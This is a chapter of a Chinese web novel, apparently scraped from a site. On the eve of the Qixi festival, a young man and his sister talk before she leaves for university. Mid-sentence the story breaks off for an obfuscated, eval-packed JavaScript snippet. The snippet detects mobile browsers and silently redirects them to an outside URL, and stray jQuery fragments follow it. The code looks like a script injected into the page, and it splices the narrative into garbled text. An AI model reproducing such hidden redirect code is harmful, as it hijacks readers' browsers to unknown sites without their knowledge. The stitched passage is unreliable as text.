八月的尾声，已经敲响了文静离家的日子，也沉沉地压在了小院每个人的心头。日子里掺杂着离别的涩意，无声地沉淀在清晨的露水和傍晚的炊烟里。
奶奶戴着那副磨花了边的老花镜，就着窗棂透进的最后一点天光，针脚细密地在灯下为新被褥收着边。她挑选的是家里最好的棉花，絮得又厚又匀实，仿佛要把一整个家的温暖都絮进去。
邓红梅前两天特意陪着文静去了趟县城，新买的衣裳叠得整整齐齐，放在了行李箱里。行囊被塞得满满当当，从搪瓷脸盆到毛巾、香皂，家人恨不能把整个家都给她装上。似乎每多添一件东西，就能将那份沉甸甸的、即将到来的离别冲淡一分。
白日的燥热被黄昏一寸寸温柔地吞没，晚风终于挣脱了暑气的束缚，从远处的河滩、树林深处捎来了初秋的微凉，带来一阵清爽的慰藉。聒噪了整个夏天的蝉鸣，慢慢开始退出季节的舞台。取而代之的，是墙根茂盛的草丛里，蟋蟀们开始不知疲倦的吟唱，细碎而绵长。
晚饭过后，文静拉住了正在收拾碗筷的陈轩的手。“哥，陪我去院里坐会儿。”兄妹俩一前一后走到院中那棵老梧桐树下。陈轩背靠着粗糙的树干，文静则搬来一张矮矮的小马扎，在他脚边坐下，仰着小脸望他。月光穿过叶隙，在她光洁的额头上跳跃。爷爷奶奶还在村口的老槐树荫下，伴着邻里们家长里短的家常，享受着一天里最闲适也最有人情味的辰光。
“哥，”文静的声音在寂静的夜色里格外清亮，“你记得今天是什么日子吗？”她的眼睛亮晶晶的，在昏暗中闪着光。
陈轩沉思了一下，问道：“啥日子？”除了家人的生辰在心头刻下清晰的印记，其余那些被赋予特殊意义的节日，早已被生活的重担磨砺得模糊不清，褪去了华彩。
“七夕呀！”文静的声音陡然拔高，“牛郎织女鹊桥相会的日子！还记得不？小时候，咱们溜到陈永年家的葡萄架底下，屏着气，竖着耳朵听牛郎和织女说悄悄话呢！”
年复一年，他们怀揣着童稚的虔诚跑去，结果自然从未听见那缥缈虚幻的情语，可那份无谓的期待，那借着由头和村里的小伙伴聚在一起、屏息凝神又忍不住咯咯窃笑的嬉闹时光，就是贫瘠童年里最甜美的引子，是记忆深处最闪亮的碎片。
“哥，快瞧！”文静忽然抬手指向深邃的天幕，打断了回忆，“那就是牛郎星和织女星！它们真亮啊！”
陈轩仰首，夜空浩瀚，一道朦胧如轻纱、泛着淡淡银辉的银河横贯天际，将穹顶温柔地一分为二。银河东岸，那颗被称作牛郎星的星辰，清亮而执着，如同一个翘首以盼的男子；银河西岸，那颗名为织女星的星辰，粲然生辉，光华流转，宛若巧笑倩兮的佳人。它们隔着那无垠的、波光粼粼的星之河流静静相望，诉说着永不倦怠、永恒守望的相思。
“哥，”文静微微侧过脸，月光勾勒出她小巧的鼻尖，“听城里同学说，今天，男孩儿都得给心上人送礼物呢，可讲究了。要是你有对象了，你会送她啥呀？”
听到这话，陈轩想起了李文娟。她的身影，带着阳光的气息，无比清晰地浮现在他眼前。自上次她大胆而赤诚地剖白心意后，两人又在熙攘喧闹的市集里碰过两回面。虽未禀明家中长辈，更无媒妁之言相牵，可彼此心间，早已悄然系上了一根无形的线。
大集上，陈轩得了空，便会不由自主地绕到她那个菜摊前，默默地帮她。他们的交往没有惊天动地的波澜，没有刻意营造的浪漫，只有田间地头般的平实和踏实。只是那份亲密，在日常的罅隙里日渐滋长：李文娟在陈轩铺子里吃午饭时，神态举止俨然有了女主人的模样。她会极其自然地拿起毛巾，替他拭去额角忙碌中沁出的汗珠；会望着他身上的油污，思忖着以后该如何把自家男人拾掇得清清爽爽、体体面面。
“或许，该送点什么？”这个念头在文静的话语刺激下，悄然在陈轩心底滋生蔓延，“她未必在意这些城里人的讲究，可若真收到了，总会欢喜的吧？”除了那份悄然萌生、日渐清晰的情愫，陈轩对李文娟更怀着一份深沉的感激。是她，像一道温暖而坚定的光，照进了他因挫折和自卑而自我封闭的牢笼，让他灰暗沉寂、几乎看不到希望的青春，重新有了奔头和光亮，有了值得期待的明天。
“哥！想啥呢？魂儿都飞啦？快说嘛！”文静见陈轩久久不语，眼神飘忽，仿佛神游天外，不由得撅起嘴，娇嗔地晃了晃他的胳膊，小马扎发出轻微的吱呀声。
陈轩蓦然回神，撞上妹妹探询的目光，有些局促地笑了笑，反问道：“我哪知道送什么好。你呢？若你有了心上人，你盼他送你啥？”他将问题抛了回去，掩饰着自己方才的心绪浮动。
“我啊……”文静的声音忽然轻软下来，“我啥也不要。”她顿了顿，仿佛在认真思索，“只要他能一直陪在我身边，记得我，想着我，就好。”夜风吹动她额前的碎发，月光下，她的侧脸显得格外柔和。说着，她将小马扎又挪近了些，几乎挨着陈轩的膝盖，侧过身子，温顺地将头枕在了陈轩结实的大腿上，像小时候无数次做过的那样。“哥，”她的声音闷闷的，从陈轩的膝头传来，透着浓得化不开的依恋和不舍，“我走了，你会想我吗？会很想很想吗？”
“傻丫头，净说傻话！”陈轩的手掌轻轻抚过妹妹柔顺的发顶，“哥怎么会不想？去了外头，万事都得小心。多给家里写信，有啥事，哪怕芝麻大的事儿，也别瞒着哥。如今二叔家装了电话，方便多了，若有急事，打回来！”他低下头，望着膝头的小妹，她是他心头最柔软的牵绊。
他无比强烈地渴望着她能像一只羽翼丰满的鸟儿，飞出这方小小的村落，考上梦寐以求的大学，在繁华的城里扎下根，过上与他们祖祖辈辈截然不同的人生：有书本的墨香，有更广阔的视野，有值得奋斗的未来。他坚信，他的妹妹聪慧、坚韧，她的天地不该仅仅囿于这方土地的风霜和辛劳。
可离别在即，那份不舍与无时无刻不在的担忧，却像疯长的藤蔓，紧紧缠绕着他的心。他怕她纤细的肩膀扛不住陌生城市的风雨和压力，怕她在人潮汹涌、霓虹闪烁的街头迷失方向。他恨不能为她永远撑起一方无忧无虑、没有风雨的天空，却又无比清醒地深知，有些路，必须文静自己一步步去丈量，有些风雨，必须她亲自去经历，才能真正长出属于自己的、翱翔蓝天的翅膀。这份认知带来的是欣慰，亦是更深沉的揪痛。
“哥，”文静抬头又问道，“如果我将来嫁得很远，你会愿意吗？”
“哥当然不愿意。”陈轩沉默了一瞬，随即又说道，“不过，只要你真心喜欢，只要他对你好，多远都成。天南海北，哥都支持你。但你要记着，无论何时何地，若有人欺负你，受了委屈，一定要跟哥说！”
他记得文静不止一次说过，将来想回到镇上的中学教书。若真如此，他心中自是一百个、一千个乐意。他不仅怕她在他看不见的地方受委屈时自己鞭长莫及，更怕那山高水远、关山阻隔的距离，将这份亲情也拉扯得淡薄、疏远。
“哥，还有件事。”文静的声音带着点犹豫，她重新把头靠回陈轩的腿上，“我今天听村里人说，好像嫂子想撮合你和红杏姐。”她小心地观察着陈轩的表情，“只是，听说她爸挺倔，非要让你做上门女婿才行。你知道不？她把听到的零碎传言，小心翼翼地拼凑起来。
这事，陈轩整天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345173|183487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在镇上忙碌，倒是没有听到一点风声。上次邓红梅和刘玉花私下嘀咕过这事，虽然刘玉花当时就说了暂时搁置不提，可邓红梅那风风火火的急性子，回娘家的时候还是忍不住跟她爸提了，为了说服她爸同意让妹妹嫁出来而不是招婿，据说父女两个吵了一架。村子离得不远，一点风吹草动都能传开，因此也慢慢有了些模模糊糊的传闻。
“你听谁说的？”陈轩眉头微蹙，也有点纳闷，“没影儿的事，嫂子从来没跟我提过半个字。”他心下一沉，隐约觉得有些烦躁。上门女婿？这字眼像一根刺。他从未想过离开这个生他养他的家。即使真的娶不上媳妇，他陈轩也绝不可能去做寄人篱下的上门女婿。
“哥，”文静听到这里，仿佛得到了某种保证，却又因即将的分离而涌起更深的依恋，嘤嘤嘤嘤地哭了起来，肩膀微微耸动，“我不要你走，我不要你离开家。我要每次回家，推开门都能看到你。”她仿佛已经看到了哥哥离开后，这熟悉的院子变得空荡荡的，只剩下她一个人孤零零地站在门口。
“好了好了，别哭了。”陈轩心头一软，连忙安抚她，“哥怎么会走？哥哪儿也不去！哥就守在这儿！等着你放假回家，等着看你漂漂亮亮地出嫁……”他又笑了笑说道：“哥还梦见过你将来生了个女儿，粉雕玉琢的小脸，跟你小时候一模一样。”
文静听到这里，“噗嗤”一声破涕为笑，泪痕未干的脸庞绽放出光彩。她坐起身，用袖子胡乱擦去了脸上的泪水，盯着陈轩，又想起了另一件事：“哥，那你说，文娟姐送我的那个行李箱，和言梅姐送我的，哪个更漂亮？你更喜欢哪个？”前几天，王言梅也特意买了个崭新的行李箱送给了文静。
“都好看，都好看！”陈轩看着妹妹孩子气的比较，忍不住笑了，回答得极其务实，“反正你要带的东西多，到时候咱们都带上。要是你们宿舍地方小搁不下，哥再帮你把其中一个带回来收着。”他对女孩子这些关于颜色款式的偏好没有太强的判断力，在他朴素的世界观里，实用、能装下东西，就是好的。
对于陈轩这个回答，文静显得很满意。她不想哥哥在李文娟和王言梅之间做出什么倾向性的选择，她们都是哥哥的朋友，在哥哥心里，她们两个是一样一样的。
“哥，”文静脸上带着古灵精怪的笑容，“你说，等我上了大学，要是有男孩子追我，给我写情书，约我看电影……我该怎么办呀？”她抛出了一个让陈轩瞬间头皮发麻的问题。
这个问题比陈轩想象中更难回答。他深知大城市里有更多机会，更广阔的天地，能让妹妹接触到前所未有的世界，拥有一个与他们截然不同的、光明的未来。然而，最近，这个认知带来的除了欣慰，更有一种沉甸甸的、难以排解的忧虑。他一想到妹妹柔弱的肩膀要独自面对那个完全陌生、充满诱惑也潜藏风险的环境，他的心里满是担忧。
他被难住了，眉头紧锁，思索了半天，才严肃地说道：“一定要好好观察他。不能光看他说什么，要看他做什么。看他是不是真心实意对你好，看他的品性是不是端正，千万不要轻易被花言巧语或者一点小恩小惠打动就答应他。在外面，凡事多留个心眼儿……”他恨不得把自己所有有限的人生阅历和对世界的警惕，一股脑儿都塞给妹妹。
夜色更深了，露水打湿了裤脚，天凉了。兄妹俩又絮絮叨叨说了许多话，关于大学，关于未来……直到爷爷奶奶的声音由远及近，他们才起身回屋。那一晚，陈轩躺在床上，望着窗外清冷的月光，久久无法入眠。文静的每一个问题，每一滴眼泪，都沉甸甸地压在他的心上。而那个关于“七夕礼物”的念头，却在反复的思量中，越来越清晰，越来越坚定。